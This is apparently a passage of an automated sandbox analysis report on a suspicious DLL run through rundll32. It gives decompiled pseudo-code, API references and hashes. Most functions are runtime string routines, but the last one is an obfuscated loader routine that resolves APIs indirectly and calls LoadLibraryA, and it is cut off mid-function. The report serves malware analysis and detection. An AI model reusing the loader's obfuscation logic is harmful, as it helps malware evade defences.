								__eflags = 0;
							} else {
								_push(_t141);
								_t100 = E1000829F(_t152);
								_t152 = _v12;
								_t187 = _t187 + 4;
								_t158 = _t100;
							}
							goto L32;
						} else {
							_t46 = _t141 + 0x23; // 0x23
							_t101 = _t46;
							__eflags = _t101 - _t141;
							_t102 =  <=  ? _t152 | 0xffffffff : _t101;
							_push( <=  ? _t152 | 0xffffffff : _t101);
							_t103 = E1000829F(_t152 | 0xffffffff);
							_t187 = _t187 + 4;
							__eflags = _t103;
							if(_t103 == 0) {
								L37:
								__imp___invalid_parameter_noinfo_noreturn();
								goto L38;
							} else {
								_t152 = _v12;
								_t48 = _t103 + 0x23; // 0x23
								_t158 = _t48 & 0xffffffe0;
								 *(_t158 - 4) = _t103;
								L32:
								 *((intOrPtr*)(_t129 + 0x10)) = _v16;
								 *(_t129 + 0x14) = _t175;
								_t175 = _t158 + _t152;
								_v16 = _t175;
								__eflags = _v20 - 0x10;
								_v12 = _t175 + _a12;
								_push(_t152);
								if(_v20 < 0x10) {
									L38:
									memcpy(_t158, _t129, ??);
									memcpy(_t175, _v24, _a12);
									 *_v12 = 0;
									 *_t129 = _t158;
									return _t129;
								} else {
									_t177 =  *_t129;
									memcpy(_t158, _t177, ??);
									memcpy(_v16, _v24, _a12);
									_t97 = _v12;
									_t187 = _t187 + 0x18;
									_t143 = _v20 + 1;
									 *_v12 = 0;
									__eflags = _t143 - 0x1000;
									if(_t143 < 0x1000) {
										L36:
										_push(_t143);
										E10008291(_t97, _t177);
										 *_t129 = _t158;
										return _t129;
									} else {
										_t153 =  *(_t177 - 4);
										_t143 = _t143 + 0x23;
										_t175 = _t177 - _t153;
										_t65 = _t175 - 4; // 0x7ffffffb
										_t97 = _t65;
										__eflags = _t65 - 0x1f;
										if(_t65 > 0x1f) {
											goto L37;
										} else {
											_t177 = _t153;
											goto L36;
										}
									}
								}
							}
						}
					}
				} else {
					_t104 = _t151 + _t169;
					_t179 =  *(__ecx + 0x14);
					_v12 = _t104;
					_t163 = _t104 | 0x0000000f;
					_v16 = _t179;
					_t194 = _t163 - 0x7fffffff;
					if(_t194 <= 0) {
						_t106 = _t179 >> 1;
						__eflags = _t179 - 0x7fffffff - _t106;
						if(_t179 <= 0x7fffffff - _t106) {
							_t107 = _t179 + _t106;
							__eflags = _t163 - _t107;
							_t164 =  <  ? _t107 : _t163;
						} else {
							_t164 = 0x7fffffff;
						}
					} else {
						_t164 = 0x7fffffff;
					}
					_t148 =  ~(0 | _t194 > 0x00000000) | _t164 + 0x00000001;
					if(_t148 < 0x1000) {
						__eflags = _t148;
						if(_t148 == 0) {
							_t179 = 0;
							__eflags = 0;
						} else {
							_push(_t148);
							_t123 = E1000829F(_t151);
							_t151 = _v8;
							_t186 = _t186 + 4;
							_t179 = _t123;
						}
						goto L12;
					} else {
						_t10 = _t148 + 0x23; // 0x23
						_t124 = _t10;
						_t125 =  <=  ? _t151 | 0xffffffff : _t124;
						_push( <=  ? _t151 | 0xffffffff : _t124);
						_t126 = E1000829F(_t151 | 0xffffffff);
						_t186 = _t186 + 4;
						if(_t126 == 0) {
							L17:
							__imp___invalid_parameter_noinfo_noreturn();
							goto L18;
						} else {
							_t151 = _v8;
							_t12 = _t126 + 0x23; // 0x23
							_t179 = _t12 & 0xffffffe0;
							 *((intOrPtr*)(_t179 - 4)) = _t126;
							L12:
							 *((intOrPtr*)(_t128 + 0x10)) = _v12;
							_v8 = _a16;
							 *(_t128 + 0x14) = _t164;
							_t164 = _t179 + _t151;
							_v20 = _t164;
							_v12 = _t164 + _a12;
							_push(_t151);
							if(_v16 < 0x10) {
								L18:
								memcpy(_t179, _t128, ??);
								memset(_t164, _v8, _a12);
								 *_v12 = 0;
								 *_t128 = _t179;
								return _t128;
							} else {
								_t166 =  *_t128;
								memcpy(_t179, _t166, ??);
								memset(_v20, _v8, _a12);
								_t120 = _v12;
								_t186 = _t186 + 0x18;
								_t150 = _v16 + 1;
								 *_v12 = 0;
								if(_t150 < 0x1000) {
									L16:
									_push(_t150);
									E10008291(_t120, _t166);
									 *_t128 = _t179;
									return _t128;
								} else {
									_t155 =  *(_t166 - 4);
									_t150 = _t150 + 0x23;
									_t164 = _t166 - _t155;
									_t31 = _t164 - 4; // 0x7ffffffb
									_t120 = _t31;
									if(_t31 > 0x1f) {
										goto L17;
									} else {
										_t166 = _t155;
										goto L16;
									}
								}
							}
						}
					}
				}
			}

0x10007887
0x10007891
0x10007894
0x10007899
0x1000789f
0x100079d5
0x100079da
0x100079db
0x100079dc
0x100079dd
0x100079de
0x100079df
0x100079e3
0x100079e9
0x100079ea
0x100079ec
0x100079f6
0x100079f7
0x100079fc
0x100079ff
0x10007a03
0x10007a05
0x10007b34
0x10007b39
0x10007b3a
0x10007b3b
0x10007b3c
0x10007b3d
0x10007b3e
0x10007b3f
0x10007b46
0x10007b4d
0x10007b53
0x10007b5a
0x10007b5a
0x10007b5e
0x10007b67
0x10007b71
0x10007a0b
0x10007a0b
0x10007a0e
0x10007a13
0x10007a16
0x10007a19
0x10007a1c
0x10007a1e
0x10007a26
0x10007a2a
0x10007a2c
0x10007a35
0x10007a37
0x10007a39
0x10007a2e
0x10007a2e
0x10007a2e
0x10007a20
0x10007a20
0x10007a20
0x10007a48
0x10007a4a
0x10007a50
0x10007a7c
0x10007a7e
0x10007a90
0x10007a90
0x10007a80
0x10007a80
0x10007a81
0x10007a86
0x10007a89
0x10007a8c
0x10007a8c
0x00000000
0x10007a52
0x10007a52
0x10007a52
0x10007a58
0x10007a5a
0x10007a5d
0x10007a5e
0x10007a63
0x10007a66
0x10007a68
0x10007b05
0x10007b05
0x00000000
0x10007a6e
0x10007a6e
0x10007a71
0x10007a74
0x10007a77
0x10007a92
0x10007a95
0x10007a9b
0x10007a9e
0x10007aa3
0x10007aa6
0x10007aaa
0x10007aad
0x10007aae
0x10007b0b
0x10007b0d
0x10007b19
0x10007b24
0x10007b29
0x10007b31
0x10007ab0
0x10007ab0
0x10007ab4
0x10007ac2
0x10007ac7
0x10007aca
0x10007ad0
0x10007ad1
0x10007ad4
0x10007ada
0x10007aee
0x10007aee
0x10007af0
0x10007af8
0x10007b02
0x10007adc
0x10007adc
0x10007adf
0x10007ae2
0x10007ae4
0x10007ae4
0x10007ae7
0x10007aea
0x00000000
0x10007aec
0x10007aec
0x00000000
0x10007aec
0x10007aea
0x10007ada
0x10007aae
0x10007a68
0x10007a50
0x100078a5
0x100078a5
0x100078a8
0x100078ad
0x100078b0
0x100078b3
0x100078b6
0x100078b8
0x100078c0
0x100078c4
0x100078c6
0x100078cf
0x100078d1
0x100078d3
0x100078c8
0x100078c8
0x100078c8
0x100078ba
0x100078ba
0x100078ba
0x100078e2
0x100078ea
0x10007916
0x10007918
0x1000792a
0x1000792a
0x1000791a
0x1000791a
0x1000791b
0x10007920
0x10007923
0x10007926
0x10007926
0x00000000
0x100078ec
0x100078ec
0x100078ec
0x100078f4
0x100078f7
0x100078f8
0x100078fd
0x10007902
0x100079a6
0x100079a6
0x00000000
0x10007908
0x10007908
0x1000790b
0x1000790e
0x10007911
0x1000792c
0x1000792f
0x10007936
0x1000793c
0x1000793f
0x10007944
0x1000794b
0x1000794e
0x1000794f
0x100079ac
0x100079ae
0x100079ba
0x100079c5
0x100079cb
0x100079d2
0x10007951
0x10007951
0x10007955
0x10007963
0x10007968
0x1000796b
0x10007971
0x10007972
0x1000797b
0x1000798f
0x1000798f
0x10007991
0x10007999
0x100079a3
0x1000797d
0x1000797d
0x10007980
0x10007983
0x10007985
0x10007985
0x1000798b
0x00000000
0x1000798d
0x1000798d
0x00000000
0x1000798d
0x1000798b
0x1000797b
0x1000794f
0x10007902
0x100078ea

APIs

memcpy.VCRUNTIME140(00000000,7FFFFFFF,?,?,00000001), ref: 10007955
memset.VCRUNTIME140(?,?,?,00000000,7FFFFFFF,?,?,00000001), ref: 10007963
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00000001), ref: 100079A6
memcpy.VCRUNTIME140(00000000,?,?,?,00000001), ref: 100079AE
memset.VCRUNTIME140(7FFFFFFF,?,?,00000000,?,?,?,00000001), ref: 100079BA

Part of subcall function 1000829F: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,10007CA0,00000000,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 100082B4

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memcpymemset$_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 3375828981-0
Opcode ID: 3d5a15aa64160af4f40b35d285403aaa867b9ff29f56ba23342c1224dd1b7386
Instruction ID: 79258078bcb8deb8d668611de86ea3bd7e0985ba8efcaa1184a8daf6fe95a8c4
Opcode Fuzzy Hash: 3d5a15aa64160af4f40b35d285403aaa867b9ff29f56ba23342c1224dd1b7386
Instruction Fuzzy Hash: B9410772E00114AFEB05DF68CC8096EB7A5FF85390F154269E855D7349DB34DE118791

Uniqueness

Uniqueness Score: -1.00%

Function 10007FA0, Relevance: 7.6, APIs: 5, Instructions: 139COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,?,1000A544,?), ref: 1000806F
memcpy.VCRUNTIME140(?,?,?,00000000,?,?,?,?,1000A544,?), ref: 1000807D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,1000A544,?), ref: 100080BA
memcpy.VCRUNTIME140(00000000,?,?,?,?,1000A544,?), ref: 100080C0
memcpy.VCRUNTIME140(?,1000A544,?,00000000,?,?,?,?,1000A544,?), ref: 100080CA

Part of subcall function 1000829F: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,10007CA0,00000000,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 100082B4

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 996696-0
Opcode ID: 6c87b5c86b4c86ab03a1f67c62f46c57dd788e23f077e5ce441e311c5fd4b30f
Instruction ID: fc57ef4a54552e0fc3c2de3e798568928a643fb7858f8b655ff4ade37b41a1af
Opcode Fuzzy Hash: 6c87b5c86b4c86ab03a1f67c62f46c57dd788e23f077e5ce441e311c5fd4b30f
Instruction Fuzzy Hash: 764102B2E001149FEB14DF68CC8146EB7E9FF84290B11027AE955D7349EB30EE158B91

Uniqueness

Uniqueness Score: -1.00%

Function 10005E00, Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(98F8AC3B,?), ref: 10005E3F
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QAE@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140(?,00000000,00000000), ref: 10005E5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140 ref: 10005E87
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXXZ.MSVCP140 ref: 10005EA1

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@D@std@@@1@_Init@?$basic_streambuf@V?$basic_streambuf@
String ID:
API String ID: 1632471084-0
Opcode ID: 4563b94c791f073edfa830b3ecf2b5a75cac8ddb84afc98a3b73d811f3ad360d
Instruction ID: 89f476ec67f3a451a741a1f46f17046943b916a65ce248f6aa0c8752b3f78ff3
Opcode Fuzzy Hash: 4563b94c791f073edfa830b3ecf2b5a75cac8ddb84afc98a3b73d811f3ad360d
Instruction Fuzzy Hash: 9E21BDB0900714DFD710CF08C944B9AFBF8FB09304F10421EE90593790C7B5A904CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10007350, Relevance: 5.1, APIs: 4, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E10007350(intOrPtr __ecx, void** __edx, void* _a4) {
				int _v8;
				void* _v12;
				intOrPtr _v16;
				void* __ebx;
				void* __edi;
				int _t53;
				void _t57;
				void* _t61;
				void* _t80;
				void* _t83;
				void* _t85;
				int _t90;
				intOrPtr _t93;
				void* _t94;

				_t83 = _a4;
				_t92 = __edx;
				_t93 = __ecx;
				_t2 = _t83 + 0x10; // 0x0
				_t90 =  *_t2;
				_v16 = __ecx;
				_a4 = _t90;
				_t85 = __edx[4];
				_t53 = __edx[5] - _t85;
				_v12 = _t85;
				_v8 = _t53;
				if(_t90 <= _t53) {
					L17:
					if( *((intOrPtr*)(_t83 + 0x14)) >= 0x10) {
						_t83 =  *_t83;
					}
					if(_t90 > _t53) {
						_push(_t90);
						_push(_t83);
						_a4 = 0;
						_push(_a4);
						_t92 = E100079E0(_t83, _t92, _t92, _t90);
					} else {
						 *(_t92 + 0x10) = _t85 + _t90;
						_t57 = _t92;
						if( *((intOrPtr*)(_t92 + 0x14)) >= 0x10) {
							_t57 =  *_t92;
						}
						_t94 = _t85 + _t57;
						memmove(_t94, _t83, _t90);
						 *((char*)(_t94 + _a4)) = 0;
						_t93 = _v16;
					}
					 *(_t93 + 0x10) = 0;
					 *(_t93 + 0x14) = 0;
					asm("movups xmm0, [edi]");
					asm("movups [esi], xmm0");
					asm("movq xmm0, [edi+0x10]");
					asm("movq [esi+0x10], xmm0");
					 *(_t92 + 0x10) = 0;
					 *((intOrPtr*)(_t92 + 0x14)) = 0xf;
					 *_t92 = 0;
					return _t93;
				} else {
					_t9 = _t83 + 0x14; // 0x6f430a0d
					_t61 =  *_t9 - _t90;
					if(_t61 < _t85) {
						_t53 = _v8;
						goto L17;
					} else {
						if(__edx[5] >= 0x10) {
							_t92 =  *__edx;
						}
						if(_t85 > _t61) {
							_push(_t85);
							_push(_t92);
							_a4 = 0;
							_t83 = E10007FA0(_t83, _t85, _a4, _t85);
						} else {
							_a4 = _t83;
							 *(_t83 + 0x10) = _t85 + _t90;
							if( *((intOrPtr*)(_t83 + 0x14)) >= 0x10) {
								_a4 =  *_t83;
							}
							if(_t85 + _t92 <= _a4 || _t92 > _a4 + _t90) {
								_v8 = _t85;
							} else {
								_t80 = _a4;
								if(_t80 > _t92) {
									_v8 = _t80 - _t92;
								} else {
									_v8 = 0;
								}
							}
							_t23 = _t90 + 1; // 0x1
							memmove(_a4 + _t85, _a4, _t23);
							memcpy(_a4, _t92, _v8);
							memcpy(_a4 + _v8, _v12 + _v8 + _t92, _v12 - _v8);
						}
						 *(_t93 + 0x10) = 0;
						 *(_t93 + 0x14) = 0;
						asm("movups xmm0, [ebx]");
						asm("movups [esi], xmm0");
						asm("movq xmm0, [ebx+0x10]");
						asm("movq [esi+0x10], xmm0");
						 *(_t83 + 0x10) = 0;
						 *((intOrPtr*)(_t83 + 0x14)) = 0xf;
						 *_t83 = 0;
						return _t93;
					}
				}
			}

0x10007357
0x1000735c
0x1000735e
0x10007360
0x10007360
0x10007363
0x10007366
0x10007369
0x1000736f
0x10007371
0x10007374
0x10007379
0x10007463
0x10007467
0x10007469
0x10007469
0x1000746d
0x10007499
0x1000749a
0x1000749b
0x100074a1
0x100074aa
0x1000746f
0x10007472
0x10007475
0x1000747b
0x1000747d
0x1000747d
0x10007480
0x10007485
0x10007490
0x10007494
0x10007494
0x100074ac
0x100074b5
0x100074bc
0x100074bf
0x100074c2
0x100074c7
0x100074cc
0x100074d3
0x100074da
0x100074e3
0x1000737f
0x1000737f
0x10007382
0x10007386
0x10007460
0x00000000
0x1000738c
0x10007390
0x10007392
0x10007392
0x10007396
0x10007414
0x10007415
0x10007417
0x10007426
0x10007398
0x1000739b
0x1000739e
0x100073a5
0x100073a9
0x100073a9
0x100073b2
0x100073d4
0x100073bd
0x100073bd
0x100073c2
0x100073cf
0x100073c4
0x100073c4
0x100073c4
0x100073c2
0x100073d7
0x100073e2
0x100073ee
0x1000740a
0x1000740f
0x10007428
0x10007431
0x10007438
0x1000743c
0x1000743f
0x10007444
0x10007449
0x10007450
0x10007458
0x1000745f
0x1000745f
0x10007386

APIs

memmove.VCRUNTIME140(1000A544,1000A544,00000001,?,?,?,00000000,1000A544,00000001), ref: 100073E2
memcpy.VCRUNTIME140(1000A544,?,00000001,1000A544,1000A544,00000001,?,?,?,00000000,1000A544,00000001), ref: 100073EE
memcpy.VCRUNTIME140(1000A544,1000A544,1000A544,1000A544,?,00000001,1000A544,1000A544,00000001,?,?,?,00000000,1000A544,00000001), ref: 1000740A

Part of subcall function 10007FA0: memcpy.VCRUNTIME140(00000000,?,?,?,?,1000A544,?), ref: 1000806F
Part of subcall function 10007FA0: memcpy.VCRUNTIME140(?,?,?,00000000,?,?,?,?,1000A544,?), ref: 1000807D

memmove.VCRUNTIME140(?,1000A544,00000000,?,?,?,00000000,1000A544,00000001), ref: 10007485

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memcpy$memmove
String ID:
API String ID: 1283327689-0
Opcode ID: 78a9fe76ec6014a7c24bea6a8de0ae1b8c312edb06a4421844024103215ffe16
Instruction ID: 6cefeb0136f7db0d25a9a6f48ad09ae80a1bc8ec65e8766b689d12a4ca1648c8
Opcode Fuzzy Hash: 78a9fe76ec6014a7c24bea6a8de0ae1b8c312edb06a4421844024103215ffe16
Instruction Fuzzy Hash: AB517471A00645EFEB14CF68D884B9ABBF5FF49380F104569E908CB205D7B4EA94CBD1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6868 Parent PID: 4604 rundll32.exeCOMMON

Executed Functions

Function 04B243BB, Relevance: 3.8, APIs: 2, Instructions: 774COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.315647901.0000000004B20000.00000040.00000001.sdmp, Offset: 04B20000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a16a34b03b04a3993c66ce32afd9ca6471c069cf098100eb8cfa6a317db67035
Instruction ID: 1c130ab86261f2c60f0a33e1b2a0d1896c2b4638f8ec62203420cae0d9ce7bed
Opcode Fuzzy Hash: a16a34b03b04a3993c66ce32afd9ca6471c069cf098100eb8cfa6a317db67035
Instruction Fuzzy Hash: F7728F72944225DFFF04CFA0C9897AA7BB1FF04315F0885A9DD29AE59AC7741460CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 04B24726, Relevance: 3.5, APIs: 2, Instructions: 520COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.315647901.0000000004B20000.00000040.00000001.sdmp, Offset: 04B20000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ce6ffc798d8660951e0b993404000b5c33085f367b08373ffa742b38eda970d
Instruction ID: 1249602295579ef7df7123030d23861c664ad3444b8227a13537415c8991188c
Opcode Fuzzy Hash: 2ce6ffc798d8660951e0b993404000b5c33085f367b08373ffa742b38eda970d
Instruction Fuzzy Hash: 3032AF72814225DFEF04CFA0C9897EA7BB4FF44311F0885A9DD29AE599C7742460CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 04B24822, Relevance: 3.5, APIs: 2, Instructions: 484
libraryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 29%

			E04B24822(signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t329;
				signed int _t331;
				signed int _t333;
				signed int _t334;
				signed int _t336;
				signed int _t338;
				signed int _t340;
				signed int _t341;
				intOrPtr _t343;
				signed int _t345;
				signed int _t348;
				signed int _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t357;
				intOrPtr* _t359;
				signed int _t362;
				intOrPtr* _t364;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				signed int _t369;
				signed int _t370;
				intOrPtr _t372;
				signed int _t373;
				signed int _t375;
				signed int _t376;
				signed int _t381;
				signed int _t384;
				signed int _t387;
				signed int _t390;
				signed int _t392;
				signed int _t393;
				signed int _t416;
				signed int _t419;
				signed int _t422;
				signed int _t443;
				signed int _t454;
				signed int _t456;
				signed int _t457;
				signed int _t460;
				signed int _t463;
				signed int _t467;
				void* _t469;
				signed int* _t487;
				signed int _t488;
				signed int _t489;
				signed int _t490;
				signed int _t500;
				signed int* _t508;

				_t454 = __esi;
				_t416 = __edx;
				_t387 = __ecx;
				 *((intOrPtr*)(_t500 + 0x2a)) =  *((intOrPtr*)(_t500 + 0x2a)) + __edx;
				_push( *0x00836B21);
				_push( *0x00837199);
				_t329 =  *0x04D377CC();
				 *(_t500 - 0x10) = __edi;
				 *0x00836D98 =  *0x00836D98 & 0x00000000;
				 *0x00836D98 =  *0x00836D98 | __edi & 0x00000000 | _t329;
				_t443 =  *(_t500 - 0x10);
				while(1) {
					L7:
					 *(_t500 - 0x10) = 0x41b6cc;
					_t456 = _t454 & 0x00000000 | 0 ^  *_t443;
					_t381 =  *(_t500 - 0x10);
					if( *(_t381 + 0x41b62d) == 0) {
						_t329 =  *((intOrPtr*)(_t381 + 0x491c100))( *((intOrPtr*)(_t381 + 0x41bcbb)),  *((intOrPtr*)(_t381 + 0x41b30b)));
						 *(_t500 - 0x10) = _t387;
						 *(_t381 + 0x41b62d) =  *(_t381 + 0x41b62d) & 0x00000000;
						 *(_t381 + 0x41b62d) =  *(_t381 + 0x41b62d) | _t387 & 0x00000000 ^ _t329;
						_t387 =  *(_t500 - 0x10);
					}
					while(1) {
						_t41 = _t443 + 0x10; // 0x83e41433
						_push( *_t41);
						if( *(_t381 + 0x41b4dd) == 0) {
							_t329 =  *((intOrPtr*)(_t381 + 0x491c10c))( *((intOrPtr*)(_t381 + 0x41bb1a)), 0);
							 *(_t500 - 0x10) = _t387;
							 *(_t381 + 0x41b4dd) = 0 ^ _t329;
							_t387 =  *(_t500 - 0x10);
						}
						_pop( *_t48);
						if( *((intOrPtr*)(_t381 + 0x41bb8c)) == 0) {
							_t329 =  *((intOrPtr*)(_t381 + 0x491c07c))( *((intOrPtr*)(_t381 + 0x41bae2)));
							 *_t52 = _t329;
							_push( *(_t500 - 0x10));
							_pop( *_t54);
						}
						 *(_t500 - 0x10) = _t387;
						_t331 = _t329 & 0x00000000 | _t387 ^  *(_t500 - 0x10) ^  *(_t500 + 8);
						_t390 =  *(_t500 - 0x10);
						if( *(_t381 + 0x41b609) == 0) {
							_t376 =  *((intOrPtr*)(_t381 + 0x491c10c))( *((intOrPtr*)(_t381 + 0x41bc31)), _t443, _t331);
							 *(_t500 - 0x10) = _t443;
							 *(_t381 + 0x41b609) =  *(_t381 + 0x41b609) & 0x00000000;
							 *(_t381 + 0x41b609) =  *(_t381 + 0x41b609) | _t443 ^  *(_t500 - 0x10) | _t376;
							_t443 =  *(_t500 - 0x10);
							_t331 =  *_t508;
							_t508 = _t508 - 0xfffffffc;
						}
						 *(_t500 - 4) =  *(_t500 - 4) + _t331;
						if( *(_t381 + 0x41b9a3) == 0) {
							_t375 =  *((intOrPtr*)(_t381 + 0x491c074))();
							 *(_t500 - 0x10) = _t443;
							 *(_t381 + 0x41b9a3) =  *(_t381 + 0x41b9a3) & 0x00000000;
							 *(_t381 + 0x41b9a3) =  *(_t381 + 0x41b9a3) | _t443 ^  *(_t500 - 0x10) ^ _t375;
							_t443 =  *(_t500 - 0x10);
						}
						_t80 = _t443 + 0xc; // 0xd229fcec
						_t392 = _t390 & 0x00000000 ^ (_t381 ^  *_t508 |  *_t80);
						_t384 = _t381;
						if( *((intOrPtr*)(_t384 + 0x41b0c8)) == 0) {
							 *_t83 =  *((intOrPtr*)(_t384 + 0x491c074))(_t392);
							 *_t85 =  *(_t500 - 0x10);
							_t392 =  *_t508;
							_t508 =  &(_t508[1]);
						}
						_t393 = _t392 +  *(_t500 + 8);
						if( *(_t384 + 0x41b5e5) == 0) {
							_t373 =  *((intOrPtr*)(_t384 + 0x491c100))(_t393, _t393);
							 *(_t500 - 0x10) = _t456;
							 *(_t384 + 0x41b5e5) =  *(_t384 + 0x41b5e5) & 0x00000000;
							 *(_t384 + 0x41b5e5) =  *(_t384 + 0x41b5e5) | _t456 ^  *(_t500 - 0x10) | _t373;
							_t456 =  *(_t500 - 0x10);
							 *_t96 = 0;
							_t393 = (_t393 & 0x00000000) +  *(_t500 - 0x10);
						}
						_t457 = _t456 +  *(_t500 + 8);
						if( *((intOrPtr*)(_t384 + 0x41bc92)) == 0) {
							_t372 =  *((intOrPtr*)(_t384 + 0x491c074))();
							 *(_t500 - 0x10) = _t393;
							 *((intOrPtr*)(_t384 + 0x41bc92)) = _t372;
							 *_t104 = _t393;
							_t393 =  *(_t500 - 0x10) & 0x00000000 |  *(_t500 - 0x10);
						}
						_t106 = _t384 + 0x41ba21; // 0x836db5
						_t333 =  *((intOrPtr*)(_t384 + 0x491c078))(_t393);
						 *(_t500 - 0x10) = _t457;
						 *(_t384 + 0x41b1cf) =  *(_t384 + 0x41b1cf) & 0x00000000;
						 *(_t384 + 0x41b1cf) =  *(_t384 + 0x41b1cf) ^ (_t457 ^  *(_t500 - 0x10) | _t333);
						_t460 =  *(_t500 - 0x10);
						_t334 = LoadLibraryA(_t106);
						if( *(_t384 + 0x41b963) == 0) {
							_t370 =  *((intOrPtr*)(_t384 + 0x491c10c))( *((intOrPtr*)(_t384 + 0x41b0c4)), 0xffffffff, _t334);
							 *(_t384 + 0x41b963) =  *(_t384 + 0x41b963) & 0x00000000;
							 *(_t384 + 0x41b963) =  *(_t384 + 0x41b963) ^ _t416 -  *_t508 ^ _t370;
							_t416 = _t416;
							_pop( *_t123);
							_t334 = (_t370 & 0x00000000) +  *(_t500 - 0x10);
						}
						 *_t125 = _t334;
						 *_t127 =  *(_t500 - 0x10);
						if( *(_t384 + 0x41b933) == 0) {
							_t334 =  *((intOrPtr*)(_t384 + 0x491c074))();
							 *(_t500 - 0x10) = _t443;
							 *(_t384 + 0x41b933) =  *(_t384 + 0x41b933) & 0x00000000;
							 *(_t384 + 0x41b933) =  *(_t384 + 0x41b933) ^ _t443 -  *(_t500 - 0x10) ^ _t334;
							_t443 =  *(_t500 - 0x10);
						}
						do {
							L27:
							if(( *_t460 & 0x80000000) != 0) {
								_push( *_t460);
								if( *((intOrPtr*)(_t384 + 0x41b5c1)) == 0) {
									_t334 =  *((intOrPtr*)(_t384 + 0x491c108))();
									 *_t191 = _t334;
									 *_t193 =  *(_t500 - 0x10);
								}
								_pop( *_t194);
								if( *(_t384 + 0x41b217) == 0) {
									_t334 =  *((intOrPtr*)(_t384 + 0x491c110))(_t393);
									 *_t508 = _t460;
									 *(_t384 + 0x41b217) = 0 ^ _t334;
									_t460 = 0;
								}
								 *(_t500 - 0xc) =  *(_t500 - 0xc) & 0x0000ffff;
								if( *((intOrPtr*)(_t384 + 0x41b5d9)) == 0) {
									_t334 =  *((intOrPtr*)(_t384 + 0x491c10c))(_t508,  *((intOrPtr*)(_t384 + 0x41b559)));
									 *_t203 = _t334;
									_push( *(_t500 - 0x10));
									_pop( *_t205);
								}
							} else {
								_t139 = _t384 + 0x41b665; // 0x8369f9
								_t348 =  *((intOrPtr*)(_t384 + 0x491c078))(_t139);
								 *(_t500 - 0x10) = _t460;
								 *(_t384 + 0x41b4e5) =  *(_t384 + 0x41b4e5) & 0x00000000;
								 *(_t384 + 0x41b4e5) =  *(_t384 + 0x41b4e5) ^ _t460 & 0x00000000 ^ _t348;
								_t487 =  *(_t500 - 0x10);
								_push(_t487);
								if( *(_t384 + 0x41b861) == 0) {
									_t353 =  *((intOrPtr*)(_t384 + 0x491c10c))( *((intOrPtr*)(_t384 + 0x41b0cc)), 0xffffffff);
									 *(_t384 + 0x41b861) =  *(_t384 + 0x41b861) & 0x00000000;
									 *(_t384 + 0x41b861) =  *(_t384 + 0x41b861) ^ _t487 -  *_t508 ^ _t353;
									_t487 = _t487;
								}
								_t488 =  *_t487;
								if( *(_t384 + 0x41b9ab) == 0) {
									_t352 =  *((intOrPtr*)(_t384 + 0x491c07c))(_t508);
									 *(_t500 - 0x10) = _t488;
									 *(_t384 + 0x41b9ab) =  *(_t384 + 0x41b9ab) & 0x00000000;
									 *(_t384 + 0x41b9ab) =  *(_t384 + 0x41b9ab) ^ _t488 & 0x00000000 ^ _t352;
									_t488 =  *(_t500 - 0x10);
								}
								_t489 = _t488 +  *(_t500 + 8);
								if( *(_t384 + 0x41b8d8) == 0) {
									_t351 =  *((intOrPtr*)(_t384 + 0x491c074))();
									 *(_t500 - 0x10) = _t489;
									 *(_t384 + 0x41b8d8) = 0 ^ _t351;
									_t489 =  *(_t500 - 0x10);
								}
								_t490 = _t489 + 2;
								_t416 = _t416;
								if( *(_t384 + 0x41b631) == 0) {
									_t350 =  *((intOrPtr*)(_t384 + 0x491c07c))(_t508);
									 *(_t384 + 0x41b631) =  *(_t384 + 0x41b631) & 0x00000000;
									 *(_t384 + 0x41b631) =  *(_t384 + 0x41b631) ^ (_t393 ^  *_t508 | _t350);
									_t393 = _t393;
								}
								 *(_t500 - 0xc) =  *(_t500 - 0xc) & 0x00000000;
								 *(_t500 - 0xc) =  *(_t500 - 0xc) | _t443 & 0x00000000 | _t490;
								_t443 = _t443;
